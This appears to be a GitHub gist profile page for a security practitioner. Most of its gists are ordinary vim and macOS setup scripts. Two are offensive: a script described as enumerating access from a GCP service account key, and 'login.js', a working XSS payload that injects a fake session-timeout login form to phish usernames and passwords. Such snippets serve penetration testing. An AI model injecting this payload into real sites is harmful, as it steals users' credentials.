Skip to content

Instantly share code, notes, and snippets.

View securitygeneration's full-sized avatar
🔒

Security Generation securitygeneration

🔒
View GitHub Profile
@securitygeneration
securitygeneration / gcp_enum.sh
Created April 1, 2019 09:39 — forked from carnal0wnage/gcp_enum.sh
use the gcloud utilities to enumerate as much access as possible from a GCP service account json file. see blog post: <to insert>
# gcloud auth activate-service-account --key-file=85.json
# gcloud projects list
project="my-projet"
space=""
echo "gcloud auth list"
gcloud auth list
echo -e "$space"
@securitygeneration
securitygeneration / vimsetup.sh
Created January 25, 2017 10:18
Script to set up vim config/plugins
#!/bin/bash
# Download vimrc, colors and plugins
#-----------------------------------
mkdir -p ~/.vim ~/.vim/colors ~/.vim/autoload ~/.vim/bundle
wget -O ~/.vimrc https://gist.githubusercontent.com/securitygeneration/d1ab6de3b445e1b027cb25bc280bd976/raw
wget -O ~/.vim/colors/mustang.vim https://raw.githubusercontent.com/croaker/mustang-vim/master/colors/mustang.vim
wget -O ~/.vim/colors/solarized.vim https://raw.githubusercontent.com/altercation/vim-colors-solarized/master/colors/solarized.vim
curl -LSso ~/.vim/autoload/pathogen.vim https://tpo.pe/pathogen.vim
cd ~/.vim/bundle
git clone git://github.com/jeffkreeftmeijer/vim-numbertoggle.git
@securitygeneration
securitygeneration / vimrc
Last active February 8, 2017 11:44
vimrc WIP
" VIM Configuration
" SJ - 7 Feb 2017
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => General
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" Cancel the compatibility with Vi. Essential if you want
" to enjoy the features of Vim
set nocompatible
@securitygeneration
securitygeneration / osx-for-pentesting.sh
Created November 10, 2016 15:00 — forked from gabemarshall/osx-for-pentesting.sh
A fork of osx-for-hackers for my personal pentesting setup preferences
# OSX for Pentesting (Mavericks/Yosemite)
#
# A fork of OSX for Hackers (Original Source: https://gist.github.com/brandonb927/3195465)
#!/bin/sh
# Ask for the administrator password upfront
echo "Have you read through the script prior to running this? (y or n)"
read bcareful
@securitygeneration
securitygeneration / login.js
Created September 13, 2016 21:54
Modal Login Box for XSS
document.body.innerHTML+="<style>#login_modal_fade {position: absolute; width: 100%; height: 100%; top: 0; left: 0; background: black; opacity: 0.85;}#login_modal_container {position: absolute; top: 20%; left: 30%; width: 30%; background: white; padding: 0 1em; border: 1px solid black; border-radius: 5px;}#login_modal_container label {width: 20%;}</style><div id='login_modal_fade'></div><div id='login_modal_container'><form method='get' action='/'><h2>Session Timeout</h2> Your session has timed out, please log back in.<br><br> <div class='field'><label>Username: </label><input type='text' name='username'></div> <div class='field'><label>Password: &nbsp</label><input type='password' name='password'></div><br><div class='buttons'><input type='submit' value='Log in'></div></form></div>";

Keybase proof

I hereby claim:

  • I am securitygeneration on github.
  • I am securitygen (https://keybase.io/securitygen) on keybase.
  • I have a public key whose fingerprint is EB97 D834 D3AA 587B 3596 9596 11B2 BE0B 4DB7 6FF6

To claim this, I am signing this object: